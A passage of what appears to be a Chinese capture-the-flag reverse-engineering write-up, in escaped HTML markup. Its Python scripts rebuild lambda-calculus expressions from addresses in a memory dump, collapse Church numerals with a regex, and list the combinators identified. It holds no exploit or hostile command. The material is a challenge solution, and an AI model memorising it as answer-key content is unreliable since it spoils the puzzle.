&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.arg &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;. &amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.body.to_str() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;)&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;input_list&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[ 
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000040b9a8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000040b978&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000040b948&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000427938&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000427908&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004278d8&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000445de8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000445db8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000445d88&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004615f8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004615c8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000461598&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000047cad0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000047caa0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000047ca70&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004a5ca8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004a5c78&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004a5c48&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004c3448&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004c3418&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004c33e8&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004e9260&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004e9230&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004e9200&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000505eb0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000505e80&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000505e50&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000051f438&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000051f408&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000051f3d8&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000536518&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000005364e8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000005364b8&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;get_exp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt; Exp:
&lt;&#x2F;span&gt;&lt;span&gt;    starti&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;get_index(addr)
&lt;&#x2F;span&gt;&lt;span&gt;    match dump.code[starti]:
&lt;&#x2F;span&gt;&lt;span&gt;        case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;Symbol(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%03d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span&gt;dump.code[starti&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;        case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;Lambda(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%03d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;dump.code[starti&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;], get_exp(dump.code[starti&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]))
&lt;&#x2F;span&gt;&lt;span&gt;        case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;addr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;input_list:
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;Call(get_exp(dump.code[starti&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]),Symbol(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;input&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(input_list.index(addr))))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;Call(get_exp(dump.code[starti&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]),get_exp(dump.code[starti&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;start_points&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000420030&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000043e528&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000459db0&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000475158&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000049e448&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004bba58&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004e1928&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00000000004fe5a8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000517b38&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x000000000052eb58&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0000000000558400&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;start_point &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;start_points:
&lt;&#x2F;span&gt;&lt;span&gt;    root&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;get_exp(start_point)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(root.to_str())
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到11段非常相似的表达式，大致如下&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;((( \var_188. ( \var_027. ((( \var_182. ( \var_219. ((var_182 var_219) var_182))) (( \var_139. ((var_139 ( \var_106. ( \var_029. ( \var_066. var_066)))) ( \var_025. ( \var_128. var_025)))) ((( \var_227. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_176. ( \var_170. ((( \var_103. ( \var_112. ((var_103 var_112) var_103))) (( \var_223. ((var_223 ( \var_183. ( \var_246. ( \var_057. var_057)))) ( \var_054. ( \var_044. var_054)))) ((( \var_228. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_201. ( \var_071. ((( \var_077. ( \var_234. ((var_077 var_234) var_077))) (( \var_034. ((var_034 ( \var_251. ( \var_093. ( \var_043. var_043)))) ( \var_024. ( \var_031. var_024)))) ((( \var_118. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_061. ( \var_230. ((( \var_144. ( \var_226. ((var_144 var_226) var_144))) (( \var_153. ((var_153 ( \var_127. ( \var_246. ( \var_169. var_169)))) ( \var_105. ( \var_197. var_105)))) ((( \var_002. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_211. ( \var_143. ((( \var_035. ( \var_115. ((var_035 var_115) var_035))) (( \var_252. ((var_252 ( \var_233. ( \var_041. ( \var_047. var_047)))) ( \var_020. ( \var_214. var_020)))) ((( \var_102. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_120. ( \var_051. ((( \var_229. ( \var_195. ((var_229 var_195) var_229))) (( \var_187. ((var_187 ( \var_099. ( \var_031. ( \var_223. var_223)))) ( \var_079. ( \var_050. var_079)))) ((( \var_104. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_049. ( \var_081. ((( \var_153. ( \var_015. ((var_153 var_015) var_153))) (( \var_198. ((var_198 ( \var_072. ( \var_163. ( \var_049. var_049)))) ( \var_133. ( \var_206. var_133)))) ((( \var_084. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_094. ( \var_214. ((( \var_146. ( \var_181. ((var_146 var_181) var_146))) (( \var_096. ((var_096 ( \var_080. ( \var_073. ( \var_144. var_144)))) ( \var_042. ( \var_200. var_042)))) ((( \var_190. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_162. ( \var_017. ((( \var_254. ( \var_074. ((var_254 var_074) var_254))) (( \var_161. ((var_161 ( \var_185. ( \var_124. ( \var_074. var_074)))) ( \var_034. ( \var_027. var_034)))) ((( \var_163. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_021. ( \var_046. ((( \var_033. ( \var_125. ((var_033 var_125) var_033))) (( \var_213. ((var_213 ( \var_220. ( \var_045. ( \var_251. var_251)))) ( \var_057. ( \var_242. var_057)))) ((( \var_005. ( ...
&lt;&#x2F;span&gt;&lt;span&gt;((( \var_142. ( \var_000. ((( \var_156. ( \var_255. ((var_156 var_255) var_156))) (( \var_027. ((var_027 ( \var_147. ( \var_248. ( \var_008. var_008)))) ( \var_246. ( \var_108. var_246)))) ((( \var_205. ( ...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每一段表达式都很长，发现有大量形如 $\lambda f. \lambda x. f^{\circ n} x$的表达式，用python正则可以做一个简单的匹配&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;num_replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt;:re.Match[&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;]) -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    numl&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;match[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;].count(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;(&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    numr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;match[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;].count(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;)&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;num_&lt;&#x2F;span&gt;&lt;span&gt;{numl&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;)&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(numr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;numl)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\.( \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ (?P=p2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, num_replace, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着继续手动分析，主要是识别出来代码中出现的组合子，详见维基百科&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Church_encoding&quot;&gt;Church encoding&lt;&#x2F;a&gt;和&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Lambda_calculus&quot;&gt;Lambda calculus&lt;&#x2F;a&gt;，将他们替换，如下
$$
\begin{eqnarray}
true &amp;amp;=&amp;amp; \lambda a. \lambda b. a \\
false &amp;amp;=&amp;amp; \lambda a. \lambda b. b \\
zero &amp;amp;=&amp;amp; \lambda f. \lambda x. x \\
PAIR &amp;amp;=&amp;amp; \lambda x. \lambda y. \lambda z. z\ x\ y \\
if &amp;amp;=&amp;amp; \lambda x. \lambda y. \lambda z. x\ y\ z \\
is\_zero &amp;amp;=&amp;amp; \lambda n. n\ (\lambda x. false)\ true \\
first &amp;amp;=&amp;amp; \lambda n. n\ true \\
second &amp;amp;=&amp;amp; \lambda n. n\ false \\
Y &amp;amp;=&amp;amp; λg.(λx.g\ (x\ x))\ (λx.g\ (x\ x)) \\
succ &amp;amp;=&amp;amp; \lambda a. \lambda f. \lambda x. f\ (a\ f \ x) \\
mul &amp;amp;=&amp;amp; \lambda n. \lambda m. \lambda f. \lambda x. m\ (n\ f)\ x \\
plus &amp;amp;=&amp;amp; \lambda n. \lambda m. \lambda f. \lambda x. m\ f\ (n\ f\ x) \\
sub &amp;amp;=&amp;amp; \lambda n. first\ (n\ (\lambda p. PAIR\ (second\ p)\ (succ\ (second\ p)))\ (PAIR\ zero\ zero)) \\
and &amp;amp;=&amp;amp; \lambda a. \lambda b. a\ b\ a \\
equal &amp;amp;=&amp;amp; \lambda a. \lambda b. and\ (is\_zero (sub\ a\ b)\ (is\_zero (sub\ b\ a)) \\
nil &amp;amp;=&amp;amp; \lambda x. true \\
is\_nil &amp;amp;=&amp;amp; \lambda a. a\ (\lambda b. \lambda c. false)
\end{eqnarray}
$$
其中&lt;code&gt;false&lt;&#x2F;code&gt;和&lt;code&gt;zero&lt;&#x2F;code&gt;是一样的，所以就不做区分了，替换代码如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;re
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;lambda.txt&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;r&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;    input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;f.read()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;num_replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt;:re.Match[&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;]) -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    numl&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;match[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;].count(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;(&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    numr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;match[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;].count(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;)&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
